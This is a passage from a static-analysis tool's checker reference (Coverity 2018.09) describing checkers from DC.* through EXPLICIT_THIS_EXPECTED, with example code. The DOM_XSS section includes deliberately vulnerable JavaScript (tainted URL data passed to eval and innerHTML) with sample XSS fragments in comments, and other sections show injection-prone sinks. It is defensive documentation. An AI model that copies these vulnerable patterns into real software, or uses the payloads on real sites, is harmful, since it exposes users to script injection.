To create your own DC.* checker, see Section 4.69, “DC.CUSTOM_CHECKER”. |
Enabled by default: DC.DEADLOCK is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
Supported Languages: C, C++, Objective-C, Objective-C++
DC.STREAM_BUFFER
detects calls to unsafe I/O functions that are accessing a stream buffer (specifically,
scanf, fscanf, gets) that could cause buffer
overflow.
![]() | |
To create your own DC.* checker, see Section 4.69, “DC.CUSTOM_CHECKER”. |
Disabled by default: DC.STREAM_BUFFER is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable DC.STREAM_BUFFER
along with other security checkers, use the --security
option to the cov-analyze command.
Supported Languages: C, C++, Objective-C, Objective-C++
DC.STRING_BUFFER
detects calls to functions that are accessing string buffers (sprintf,
sscanf, strcat, strcpy, and
__builtin___sprintf_chk) that could cause buffer overflow.
![]() | |
To create your own DC.* checker, see Section 4.69, “DC.CUSTOM_CHECKER”. |
Disabled by default: DC.STRING_BUFFER is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Supported Languages: C, C++, Objective-C, Objective-C++
DC.WEAK_CRYPTO
detects calls to functions that produce unsafe sequences of pseudo-random numbers. The
functions match these patterns: initstate, lcong48,
rand, random, seed48, setstate,
and [dejlmn]rand48 (includes a regex identifying six separate functions).
These functions should not be used for encryption because it is too easy to break the
encryption.
![]() | |
To create your own DC.* checker, see Section 4.69, “DC.CUSTOM_CHECKER”. |
Disabled by default: DC.WEAK_CRYPTO is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable DC.WEAK_CRYPTO
along with other security checkers, use the --security
option to the cov-analyze command.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, Scala, and Visual Basic
DEADCODE finds many instances of code that can never be reached due to branches whose condition will always evaluate exactly the same each time. This checker does not warn about function-level dead code such as static functions that are never called.
Faulty code assumptions or other logic errors are often responsible for dead code.
These defects can have a broad range of effects. For example, if you make a logic error,
such as <= instead of a <, or
&& instead of ||, the resulting
behavior might be incorrect. At best, dead code increases the size of source code (and
associated binaries). More seriously, logic errors can cause important code to never
execute, which can adversely affect program results or cause a program to crash.
Some dead code might be intended. Defensive error checks, for example, might cause
some currently unreachable error paths, but are included to guard against future
changes. Also, code that uses #if preprocessor statements to conditionally
compile different blocks for different configurations might have dead code in certain
configurations.
Fixing these defects depends on what the code was intended to do. Removing truly dead code will eliminate the defect.
Enabled by default: DEADCODE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more DEADCODE examples.
In the following C/C++ example, dead code appears in the second if
statement because p cannot be null. Check if
handle_error() should be called earlier.
int deadcode_example1(int *p) {
if( p == NULL ) {
return -1;
}
use_p( *p );
if ( p == NULL ) { // p cannot be null.
handle_error(); // Defect: dead code
return -1;
}
return 0;
}void deadcode_example2(void *p) {
int c = ( p == NULL );
if ( p != NULL && c ) { // Always false
do_some_other_work(); // Defect: dead code
}
}In the following example, i cannot be both 10 and
12 at the same time, so i must be unequal to at least
one of those two values. Therefore, the if condition will always be
true, and the return will always be executed.
public class Deadcode{
public void bad(int i)
{
if(i != 10 || i != 12) {
return;
}
// Defect: dead code
++i;
}
}In the following example, i will always be less than 10
or greater than 9, so the if condition will always be true and the return will always be executed.
Class DeadCode
Sub Example(i As Integer)
If i < 10 OrElse i > 9 Then
Return
End If
' Defect: Dead code
i = i + 1
End Sub
End ClassIn the following Java example, dead code appears in the second if
statement. Because of the first if statement, o2 cannot be
null if o1 is null. Note that the deadcode1 example below
produces a defect if DEADCODE:report_redundant_tests is set to
true.
class Example {
boolean deadcode1(Object o1, Object o2) {
if(o1 == null && o2 == null) {
return true;
} else if(o1 == null && o2 != null) {
// The check above for o2 != null is useless:
// Because of the first condition,
// o2 cannot be null if o1 is null.
return false;
}
return true;
}
void deadcode2(Object o) throws Exception {
if(o == null) {
throw new Exception();
}
if(o == null) {
// This line cannot be reached!
log("o is null");
}
}
}function test7a(p1) {
if(p1 == null) {
return;
}
// In JavaScript null == undefined.
if(p1 == undefined) {
// Defect: dead code
return;
}
safe_process(p1);
}
function test7b(p1) {
if(p1 === null) {
return;
}
// But null !== undefined.
if(p1 === undefined) {
// No defect
return;
}
safe_process(p1);
}
function adapted_angular_code_example(parentElement) {
var isRoot = isMatchingElement(parentElement, $rootElement);
var state = isRoot ? rootAnimateState : parentElement.data(NG_ANIMATE_STATE);
var result = state && (!!state.disabled || state.totalActive > 0);
if(isRoot || result) {
return result;
}
if(isRoot) {
// Defect: dead code
return true;
}
}function deadcode($o1) {
if($o1 == NULL) {
return 1;
}
somethingElse();
if(NULL == $o1) {
// Defect: dead code
return 2;
}
// otherwise
return 3;
}def deadcode(o1):
if(o1 is None):
return 1
somethingElse()
if(None is o1):
# Defect: dead code
return 2
# otherwise
return 3def deadcode(obj)
if (obj.nil?)
return 1
end
somethingElse()
if (obj == nil)
return 2 # Defect: dead code
end
# otherwise
3
endIn the following example, the first if condition
p > 100 and the second if condition p < 200
can't be false at the same time. Therefore, the else branch of the second if
statement is logically dead.
def example(p : Int) : Int = {
if (p > 100) {
return 1
} else {
if (p < 200) {
return 2
} else {
return 3 // DEADCODE
}
}
}This section describes one or more DEADCODE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
DEADCODE:no_dead_default:<boolean> - When this
option is set to true, the checker suppresses reports of defects
caused by an unreachable default statement in a switch-case
statement. Defaults to
DEADCODE:no_dead_default:false (meaning that
unreachable default statements are reported as defects) for C, C++, C#, Java, Objective-C, Objective-C++
(JavaScript, Ruby, and Scala not supported).
Example:
switch(i) {
case 0:
case 1:
break;
default:
return;
}
switch(i) {
case 0:
case 1:
break;
default:
assert(false); // Defect unless no_dead_default option is set to true
}To disable reporting of these defects use:
> cov-analyze --checker-option DEADCODE:no_dead_default:true
DEADCODE:report_dead_killpaths:<boolean> - When
this option is set to true, the checker will report "dead" code
that represents a "kill path". Kill paths include those that unconditionally
throw an exception, call an unconditional assert, or use similar mechanisms. By
default, DEADCODE automatically suppresses such reports, treating such
mechanisms as intentional, "defensive" coding. Defaults to
DEADCODE:report_dead_killpaths:false for C, C++, C#, Java, Objective-C, and Objective-C++
(JavaScript, Ruby, and Scala not supported).
The following type of coding practice is suppressed by default:
void dead_killpath_example(int i)
{
switch(i & 0x3) {
case 0: doSomethingA(); return;
case 1: doSomethingB(); return;
case 2: doSomethingC(); return;
case 3: doSomethingD(); return;
default: // Intentionally dead
throw some_exception("defensive");
}
}DEADCODE:report_redundant_tests:<boolean> - When
this option is set to true, the checker will report cases where a
branch cannot be taken, if that does not result in any fragment of code being
unreachable. In JavaScript, all numeric literals are floating point, and
DEADCODE only tracks integer variables when there is some evidence that these
variables are used as integers. Defaults to
DEADCODE:report_redundant_tests:false (all
languages).
Example:
i++;
if(i >= 0 || i <= 5) {
doit();
}In this case, i <= 5 must be true because it will get
evaluated only if i < 0. It follows that i <= 5
is redundant. The developer probably meant to use &&
instead of ||.
DEADCODE:suppress_effectively_constant_local:<boolean>
- When this option is set to true, the checker will suppress a
defect on a local variable that is assigned only once to a constant value and
used as a condition into a block of dead code (see details below). You use the
option to suppress defects that intentionally disable code by means of a local
variable. Note that might also suppress some true positives, so use it with
caution. Defaults to
DEADCODE:suppress_effectively_constant_local:false
for for C, C++, C#, Java,
Objective-C, Objective-C++ (JavaScript, Ruby, and
Scala not supported).
Effectively Constant Criteria
This option can suppress a defect in code that meets all of the following criteria:
It is a local variable (that is, one declared within a function or
method). This means that the variable is not
declared as const (for C++, C#) or final (for
Java, Scala) and that it is either a Boolean type
(bool for C++, C#; boolean for Java,
Scala, int for C) or a pointer type.
It is assigned exactly once to a constant value, thereby making it effectively constant within its scope.
It is used as a condition into a block of dead code.
DEADCODE automatically suppresses a defect report if the name of the variable contains no lowercase letters (for example, ALL_CAPITALS) but otherwise meets Effectively Constant Criteria. This behavior allows the use of the coding pattern with a variable such as DEBUG without producing false positives; for example:
bool DEBUG = false; // Example: DEBUG
if(DEBUG) { //
/* ... intentionally unreachable code */
}(This pattern is used in Java and other environments which don't have conditional compilation.)
DELETE_ARRAY finds many instances of using
delete instead of delete[] to delete an
array.
Both new and delete have two variants: one
for a single structure and one for arrays. On an allocated array, calling
delete instead of delete[] will work most
of the time. However, this is not guaranteed. Also, any array elements' destructors are
not called which can lead to memory leaks and other problems.
The best way to use arrays in modern C++ is to use the STL's
vector class. It is safer, more convenient and, in most
cases, as efficient as a regular array. For APIs requiring arrays, you can still use
&front().
Enabled by default: DELETE_ARRAY is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more DELETE_ARRAY examples.
void wrong_delete() {
char *buf = new char [10];
delete buf; // Defect: should be delete[] buf
}struct auto_ptr {
auto_ptr():ptr(0){}
~auto_ptr(){delete ptr;}
int *ptr;
};
void test() {
auto_ptr *arr = new auto_ptr[2];
arr[0].ptr = new int(0);
arr[1].ptr = new int(1);
delete arr; // Memory leak, destructors are not called (or worse!)
}This section describes one or more DELETE_ARRAY options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
DELETE_ARRAY:no_error_on_scalar:<boolean> - When this
option is true, the
checker does not report defects when the array element type is a scalar (for
example, int). Although it is incorrect, using delete
on an array of scalars is harmless in many implementations of C++, so this
option is provided to suppress reporting that. Defaults to
DELETE_ARRAY:no_error_on_scalar:false
You can use modeling or code annotations to
suppress DELETE_ARRAY false positives. If it is incorrectly reported that a variable is
allocated using the new array variant or that a variable is
deallocated using delete[], the most likely cause is an incorrect
interprocedural model. The best solution in this case is to correctly model the called
function's behavior.
For example, while DELETE_ARRAY will, in most cases, correctly interpret a function
that only allocates memory using the new array variant when the
function's return value is 0, you can override an incorrect
interpretation with the following model:
int my_array_alloc(char**& ptr)
{
int unknown_cond;
if (unknown_cond) {
ptr = new char*[26];
return 0;
}
ptr = new char**;
return 1;
}This
stub function indicates that array allocations return 0 and
non-array allocations return 1. The program decision point using
the uninitialized variable unknown_cond is not important to analyze
because, from the perspective of my_array_alloc callers, each
potential return code should always be handled properly. You can use a similar stub to
model the behavior of a function that uses delete[] and
delete. This section describes one or more events produced by the DELETE_ARRAY checker.
If one of these events is reported at a line where memory was
not allocated or the operation used does not have array/non-array variants with the same
semantics as the standard operator new or
delete, you can use a code
annotation to suppress the event.
DELETE_VOID finds cases where a pointer to a void is deleted. When a delete is applied to a pointer to void, the object itself is deallocated, but any destructor associated with the dynamic type is not run, which is a defect if that destructor does something important, such as freeing memory.
In many implementations, deleting a pointer to void is treated like calling
free() in that the memory is deallocated but destructors do not run.
However, even if that is the intended behavior, it is dangerous to rely on it for the
following reasons:
The behavior is undefined by the language standard. The implementation can technically do anything, and some compilers have optimizers that aggressively transform code that relies on undefined behavior.
If the allocation site is changed, for example, to allocate an array of objects, the deallocation site will silently do the wrong thing.
Enabled by default: DELETE_VOID is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more DELETE_VOID examples.
In the following example, delete is used on a
pointer of type void:
void buggy(void *p)
{
delete p;
}Supported Languages: C#, Java, JavaScript, Visual Basic
Coverity Analysis provides the ability to create user-defined dataflow checkers. A dataflow checker reports when untrusted strings, streams, and byte arrays from a tainted source are propagated through the program and used at an unsafe sink. Many security vulnerabilities fit this general pattern, including injection issues, data exposure, insecure object references, and more.
The checkers are defined using a JSON configuration file passed through the
--directive-file option to the
cov-analyze
command. See also, Section E.1, “Security Configuration File Reference”.
A custom dataflow checker can only be used in a JSON configuration file that has the following format_version values:
5 or higher for Java and C#
6 or higher for JavaScript
11 or higher for Visual Basic
Enabled by default: DF.CUSTOM_CHECKER is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
The essential elements of a dataflow defect follow.
The tainted source: A dataflow defect begins at a tainted source. Data sources can be method return values, parameters, or class members.
Each source of taint belongs to a category that describes where it comes from.
Examples include filesystem, network, and
http (see Section E.1.4.3.20, “TaintKind string”). Each checker
indicates its sensitivity to a subset of these types of taint.
However, user-defined dataflow checkers also respect the global trust model.
Only categories of data sources that are considered untrusted will be reported;
trusted sources will not be reported. (Several kinds of taint are trusted by
default.) For information about adjusting the global trust model, see the
various --trust-* and --distrust-* options to
to cov-analyze.
The predefined taint categories include the specific data sources that are
built into the Coverity analysis. For example, a checker that is sensitive to the
http type of taint will already understand that
javax.servlet.http.HttpServletRequest.getParameter returns
user-controllable data. Additional sources can be identified using configuration
directives (see Section E.1, “Security Configuration File Reference”) and/or user
models (see Chapter 6, Models, Annotations, and Primitives ).
The propagation of data: The Coverity analysis traces the path of the untrusted data from sources to sinks. The advanced dataflow engine understands data propagation through virtual method calls, into class members and collections, and through many Web application and model-view-controller patterns. The engine includes a large library of built-in models that describe the dataflow through system and common third-party libraries.
The aggressiveness level of the dataflow analysis also can be adjusted with
the --webapp-security-aggressiveness level to
cov-analyze. In general, higher levels result in more
defects but more false positives.
The data sanitizers: The sanitizers are method calls that transform a value to protect it from the vulnerability reported by this checker. The analysis will not report a defect for any value that is passed through an appropriate sanitizer.
The sanitizers are specific to the checker and are defined using
sanitizer_for_checker directive. See Section E.1.4.2.26, “sanitizer_for_checker directive”.
The unsafe sink: The sinks are method calls to which it is unsafe or undesirable to pass untrusted or user-controllable data. The analysis will report a defect at any sink that is passed tainted data.
The sinks are specific to the checker and need to be defined using the
sink_for_checker directive (see Section E.1.4.2.30, “sink_for_checker directive”). A custom checker without any associated sinks
will not report any defects.
For Java, C#, and visual basic, user-defined dataflow checkers can only be used to describe sinks for method callsite arguments that are strings, streams, byte arrays, and collections of these types. Integer and numeric values are not supported. Sources and sinks of program-defined classes and interfaces are not supported (although any supported types may be stored as a member or passed through program classes.)
Top-level fields: The top-level fields in the JSON configuration file for this checker are the same as those described in Section E.1.4.1, “Top-level value” for security configuration files. Note the important requirement and recommendation in that section.
A custom dataflow checker can only be used in a JSON configuration file that has a
format_version value of 5 or higher for Java and C#. For
JavaScript, format_version value of 6 or higher is
required.
Directive syntax: The dataflow checker directive is a JSON object. For details on syntax, see Section E.1.4.2.7, “dataflow_checker_name directive”.
Example 1: C# - All available fields. This example uses every possible field to define a custom C# dataflow checker.
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "C#",
"directives" : [
{
"dataflow_checker_name" : "DF.MY_CUSTOM_DATAFLOW_CHECKER",
"taint_kinds" : [ "all_server_taints" ],
"sink_message" : "Oh No! Tainted data reached a sink!",
"remediation_advice" : "Don't do that!",
"new_issue_type" : {
"type" : "my_custom_dataflow_checker",
"name" : "A smaller description of the problem.",
"description" : "A long description of the problem.",
"local_effect" : "User-controllable data reached a sink.",
"impact" : "High",
"category" : "Custom Dataflow Checker Results",
"cwe" : 10
}
}
]
}Example 2: C# - Minimum required fields. This example uses the minimum required fields to define a custom C# dataflow checker.
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "C#",
"directives" : [
{
"dataflow_checker_name" : "DF.MY_CUSTOM_DATAFLOW_CHECKER",
"taint_kinds" : [
"http",
"network"
]
}
]
}Example 3: Java. This Java example demonstrates a defect that will be reported by a custom checker when a Spring MVC Controller request parameter is passed to a user-defined unsafe sink.
The following directive will define a custom checker that reports on unsafe uses of
HTTP data. The analysis distrusts HTTP data by default (see the
--distrust-http to cov-analyze).
{
"dataflow_checker_name" : "DF.DANGEROUS_ROBOT",
"sink_message" : "Battle robots should not be controllable by network data.",
"taint_kinds" : [ "http" ]
}Without any sink directives, the checker will not report any defects. The following
sink_for_checker directive describes an API
to which user-controllable data should not be passed. It matches the first argument of
any callsites that statically resolve to RobotService.run.
{
sink_for_checker : "DF.DANGEROUS_ROBOT",
sink : {
to_callsite : {
callsite_with_static_target : {
"named" : "battle.robot.api.RobotService.run(java.lang.String, int)void"
},
},
input : "arg1"
}
}In this application, we do not need to model any custom sources. The analysis has extensive built-in modeling of common APIs for accessing HTTP data and manipulating strings.
You could now run cov-analyze --dir <INTERMEDIATE_DIR> --directive-file
<DIRECTIVES.JSON>. The DF.DANGEROUS_ROBOT checker will be enabled by
default.
The analysis will now report a defect on the following code:
@Controller
class UserController {
private RobotService robotService = null;
int activeRobotId;
@RequestMapping("/robot/speak_command")
public String speakCommand(@RequestParam("name") String name) {
String cmd = "ROTATE 180; ARM RAISE; SPEAK \"Hello " + name + "\";";
// A DF.DANGEROUS_ROBOT defect will be reported below.
robotService.run(cmd, activeRobotId);
return "success";
}
}Example 4: JavaScript. The following directives create a custom dataflow checker, DF.MYLIB_INJECTION,
that works for both client-side and server-side (Node.js) JavaScript code. The
myLib tag identifies uses of the library differently for
client-side (global variable myLib) and server-side
(require("myLib")) code, and the sink directive builds on the tag
to define the sink (the exec() function of myLib).
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "JavaScript",
"directives" : [
{
"dataflow_checker_name" : "DF.MYLIB_INJECTION",
"taint_kinds" : [ "all_jsclient_taints", "all_server_taints" ],
"sink_message" : "Passing tainted data into myLib.exec",
"remediation_advice" : "Don't do that.",
"new_issue_type" : {
"type" : "mylib_injection",
"name" : "injection into myLib.exec",
"description" : "Use of tainted data in a sensitive myLib operation",
"local_effect" : "Attacker can control myLib.",
"cwe" : 74,
"impact" : "High",
"category" : "Injection Vulnerabilities",
}
},
// client-side
{
"tag" : "myLib",
"data_has_tag" : {
"read_path_off_global" : [ { "property" : "myLib" } ]
}
},
// Node.js
{
"tag" : "myLib",
"data_has_tag" : {
"read_from_js_require" : "myLib"
}
},
// sink
{
"sink_for_checker" : "DF.MYLIB_INJECTION",
"sink" : {
"input" : "arg1",
"to_callsite" : {
"call_on" : {
"path" : [ { "property" : "exec" } ],
"read_from_object_with_tag" : "myLib"
}
}
}
}
]
}Because of the directives, the analysis reports a DF.MYLIB_INJECTION defect in the following Express.js / Node.js server-side, JavaScript code.
function myLib_injection_nodejs() {
var app = require("express")();
app.post("/path1", function (req, res) {
require('myLib').exec(req.params.tainted); // DF.MYLIB_INJECTION
});
}Because of the directives, the analysis reports a DF.MYLIB_INJECTION defect in the following client-side JavaScript code.
function myLib_injection_client() {
myLib.exec(location.hash.slice(1)); // DF.MYLIB_INJECTION
}Example 5: Visual Basic. This example uses a custom attribute and a custom checker to enforce a security
policy. The checker reports whenever distrusted data is passed to any call that
implements an interface method that has been marked with the
<UnsafeAPICall> attribute.
The custom <UnsafeAPICall> is as follows:
' Define a custom attribute to label unsafe API calls.
<System.AttributeUsage(System.AttributeTargets.Method)>
Public Class UnsafeAPICall
Inherits System.Attribute
End Class
The following directives file defines the custom checker:
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "Visual Basic",
"directives" : [
// checker definition
{
"dataflow_checker_name" : "DF.UNSAFE_APP_API",
"taint_kinds" : [ "all_server_taints" ],
"sink_message" : "Passing tainted data into an unsafe API.",
"remediation_advice" : "Validate the data against a whitelist of expected values.",
"new_issue_type" : {
"type" : "unsafe_app_api",
"name" : "Unsafe use of application API",
"description" : "Use of tainted data in a sensitive application API",
"local_effect" : "An attacker might be able to control sensitive program functionality or data.",
"cwe" : 74,
"impact" : "High",
"category" : "Injection Vulnerabilities",
}
},
// sink
{
"sink_for_checker" : "DF.UNSAFE_APP_API",
"sink" : {
"all_params_of" : {
"overrides" : {
"with_annotation" : {
"matching" : "UnsafeAPICall"
}
}
}
}
},
]
}Next is an example of an API interface that uses the <UnsafeAPICall>
attribute and an implementation of the interface.
' An example interface with an unsafe call.
' This is indicated with the <UnsafeAPICall> attribute.
Interface IExampleAPI
<UnsafeAPICall>
Sub MyAction(data as String)
End Interface
' An example implementation of the interface.
Public Class ExampleImplementation
Implements IExampleAPI
Public Sub MyAction(data as String) Implements IExampleAPI.MyAction
' Do something here...
End Sub
End ClassA defect would then be reported in the following subroutine:
' This class illustrates an unsafe use of ExampleImplementation.>
public Sub Test(req as HttpRequest)
Dim obj as ExampleImplementation = New ExampleImplementation()
' DF.UNSAFE_APP_API reports a defect here!!!!
obj.MyAction(req("USER_ID"))
End Sub Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++
The DIVIDE_BY_ZERO checker finds instances in which an arithmetic division or modulus occurs when the divisor is zero. The result of such an operation is undefined but typically results in program termination. A defect is only reported if the evidence shows that a divisor can be exactly zero along a particular path.
Enabled by default: DIVIDE_BY_ZERO is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more DIVIDE_BY_ZERO examples.
In the following example, the checker reports a defect because variable
x is zero if cond() is false:
int foo() {
int x = 0;
if (cond()) {
x = 1;
}
return 1 / x;
}In the following example, if y is negative, foo(y) will
return zero, and zero will be used as a divisor in bar(y). Therefore,
the checker reports a defect.
int foo(int y) {
if (y < 0) {
return 0;
}
return y;
}
void bar(int y) {
int z = 1 / foo(y);
}Supported Languages: JavaScript
DOM_XSS
reports a defect on code that is vulnerable to a DOM-based XSS attack. In other words,
it finds cases where an attacker can cause a victim's Web browser to execute JavaScript
code of the attacker's choice or otherwise make the victim's Web browser behave in an
unexpected and unintended way. In particular, this checker reports cases where data that
is potentially under the control of an attacker ("tainted" data) is used in an unsafe
way in client-side JavaScript, for example, passed to eval or written to an
innerHTML field in the DOM.
The consequences of such a vulnerability are similar to those of other kinds of cross-site scripting vulnerabilities. For example, a DOM-based XSS vulnerability can impact the confidentiality of a user's authenticated session, including whatever information and access that session confers. For more information, see Section 7.1.4.2, “Cross-site Scripting (XSS)”.
Disabled by default: DOM_XSS is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable DOM_XSS
along with other Web application checkers,
use the --webapp-security
option.
The DOM_XSS checker requires
additional memory. See
Minimum
requirements
in Coverity 2018.09 Installation and Deployment Guide for details on the
requirement.
A DOM_XSS defect shows a data flow path by which untrusted (tainted) data makes its
way into a function or DOM element such that the user's Web browser might execute it as
JavaScript code. The path starts at a source of untrusted data, such as a reading a
property of the URL that an attacker might control (such as,
window.location.hash) or data from a different frame. From there the
events in the defect show how this tainted data flows through the program, for example
from the argument of a function call to the parameter of the called function. The final
part of the path shows the data flowing into the vulnerable function or DOM element
property.
This section provides one or more DOM_XSS examples.
function extract(string, key) {
// ... returns a substring of "string" according to "key"
}
// to exploit: append the following fragment to the base URL
// #status=0;alert(1)
function getStatus() {
var status = {};
// 'location.hash' is tainted, so 'fromFragment' is too
var fromFragment= extract(decodeURI(location.hash), "status");
console.log(fromFragment);
try {
// 'eval' on a tainted string is vulnerable to DOM_XSS
eval("status = " + fromFragment);
} catch (exn) {
// ignore
}
return status;
}// '$' is the jQuery object
// to exploit, append the following to the base URL
// ?"><img src=x onerror=alert(2)>
function jq() {
var elem = $("#my-dom-element");
var link = '#do_a_thing?page=' + decodeURI(location.href);
console.log(link);
var html = '<a href="' + link + '">do the thing</a>';
console.log(html);
elem.html(html);
}This section describes one or more DOM_XSS options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
DOM_XSS:distrust_all:<boolean> - Setting this
option to true is equivalent to setting all trust_* checker options
for this checker to false. Defaults to
DOM_XSS:distrust_all:false.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of the
cov-analyze command is set to high.
DOM_XSS:trust_js_client_cookie:<boolean> -
When this option is set to false, the analysis does not trust data from cookies
in client-side JavaScript code, for example from document.cookie.
This option was formerly called trust_client_cookie. Defaults to
DOM_XSS:trust_js_client_cookie:true.
DOM_XSS:trust_js_client_external:<boolean> -
When this option is set to false, the analysis
does not trust data from the response to an XMLHttpRequest or similar in
client-side JavaScript code. Note: this option was formerly called
trust_external. Defaults to
DOM_XSS:trust_js_client_external:false.
DOM_XSS:trust_js_client_html_element:<boolean> -
When this option is set to false, the analysis
does not trust data from user input on HTML elements such as
textarea and input elements in client-side
JavaScript code. Defaults to
DOM_XSS:trust_js_client_html_element:true.
DOM_XSS:trust_js_client_http_header:<boolean>
- When this option is set to false, the analysis does not trust data from HTTP
response headers on the response to an XMLHttpRequest or similar in
client-side JavaScript code. Defaults to
DOM_XSS:trust_js_client_http_header:true.
DOM_XSS:trust_js_client_http_referer:<boolean>
- When this option is set to false, the analysis does not trust data from the
'referer' HTTP header (from document.referrer) in client-side
JavaScript code. Defaults to
DOM_XSS:trust_js_client_http_referer:false.
DOM_XSS:trust_js_client_other_origin:<boolean>
- When this option is set to false, the analysis does not trust data from
content in another frame or from another origin, for instance from
window.name, in client-side JavaScript code. Defaults to
DOM_XSS:trust_js_client_other_origin:false.
DOM_XSS:trust_js_client_url_query_or_fragment:<boolean>
- When this option is set to false, the analysis does not trust data from the
query or fragment part of the URL, for instance from location.hash
or location.query, in client-side JavaScript code. Defaults to
DOM_XSS:trust_js_client_url_query_or_fragment:false.
EL_INJECTION finds Expression Language (EL) injection vulnerabilities, which arise when uncontrolled dynamic data is passed into an EL resolver. This might allow an attacker to bypass security checks or execute arbitrary code.
Disabled by default: EL_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable EL_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more EL_INJECTION examples.
In the following example, the
expression parameter is treated as though it is tainted. It is passed
to ExpressionFactory.createValueExpression, which is treated as a sink for
this checker.
public static void setValue(Map<String, Object> context,
String expression, Class expectedType, Object value) {
ExpressionFactory exprFactory = getExpressionFactory();
ELContext elContext = new BasicContext(context);
ValueExpression ve = exprFactory.createValueExpression(elContext, expression,
expectedType);
ve.setValue(elContext, value);
}An attacker can potentially execute arbitrary code by substituting a valid EL expression.
This section describes one or more events produced by the EL_INJECTION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
Supported Languages: C, C++, Objective-C, Objective-C++
ENUM_AS_BOOLEAN finds places where an enum-typed expression is inadvertently used in a Boolean context (such as a predicate), but the enumeration has more than two possible values. Usually, that is not what the programmer intended.
Disabled by default: ENUM_AS_BOOLEAN is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more ENUM_AS_BOOLEAN examples.
enum color {red, green, blue};
...
color c;
...
if (c) /* Why are green and blue distinguished from red? */It is common for an enum-typed expression to occur legitimately in a Boolean context. For example, the checker does not identify a defect in the following code sample:
/* in C */
enum boolean {false, true};
...
enum boolean b;
...
if (b) /* An enum-typed expression is okay in this context. */
...
Supported Languages: C, C++, Objective-C, Objective-C++
EVALUATION_ORDER identifies places in the code where the C/C++ language rules for expression evaluation do not determine the order in which side effects happen. Consequently, the behavior of the program potentially depends on the compiler, compiler version and optimization settings. Note that the name of the checker is misleading, since it finds side effect order problems as well as evaluation order problems.
If a single memory location is written more than once, or both read and written, without an intervening sequence point, then the program behavior is undefined. In practice, implementations may behave differently depending on compiler, compiler version, and optimization settings. This occurs even though the rules of precedence and associativity unambiguously define the syntactic expression structure.
In the following example, the value of b after the assignment is
3 if the left side of the operator is evaluated first, or
4 if the right side of the operator is evaluated first:
a = 1; b = a + (a=2);
EVALUATION_ORDER looks for the following sequence points after each statement:
,)&&)||)?:)Enabled by default: EVALUATION_ORDER is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more EVALUATION_ORDER examples.
In the following example, it is unclear
whether the left or right side of the operator is evaluated first, so the value of
x might change:
int g(int x) {
return x + x++; // Defect, undefined evaluation order
}The following example demonstrates side effect ordering problems. The right hand side
of the assignment is evaluated before the assignment itself takes place. However, the
side effect order is unspecified because the side effect associated with ++
could happen before or after the side effect associated with the assignment.
int foo() {
int x = 0;
x = x++; // Defect
return x; // returns either 0 or 1
}Different compilers will return different values. For example:
Microsoft Visual C++ 2008 for 80x86 on Windows XP, 32-bit returns 1.
Mingw gcc 3.4.4 on Windows XP, 32-bit returns 0.
gcc 4.1.2 on RHEL 5.2 Linux, 64-bit returns 1.
This section describes one or more events produced by the EVALUATION_ORDER checker.
write_write_order - Undefined order for multiple
writes.
This section describes one or more EVALUATION_ORDER options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
EVALUATION_ORDER:report_volatile: - When this option is true,
the checker reports unsafe uses of volatile. Every volatile access is
technically a side effect, so the expression "x + y" is undefined if both "x"
and "y" are volatile. Defaults to
EVALUATION_ORDER:report_volatile:false.
Example:
volatile int x;
volatile int v1, v2;
void foo() {
int y;
y = 2*x + x; //#defect#EVALUATION_ORDER
y = v1 + v2; //#defect#EVALUATION_ORDER
}
int xx;
int vv1, vv2;
void foofoo() {
int yy;
yy = 2*xx + xx; //#nodefect
yy = vv1 + vv2; //#nodefect
}Supported Languages: JavaScript
EXPLICIT_THIS_EXPECTED detects function calls having an implicit this argument when the callee references the this value explicitly, which suggests that an explicit this argument is expected. In such cases, an implicit this argument might be interpreted differently depending on the context and/or environment; the this value could default to undefined within code using strict mode, the window object in a browser context, or the global object in a Node.js environment.
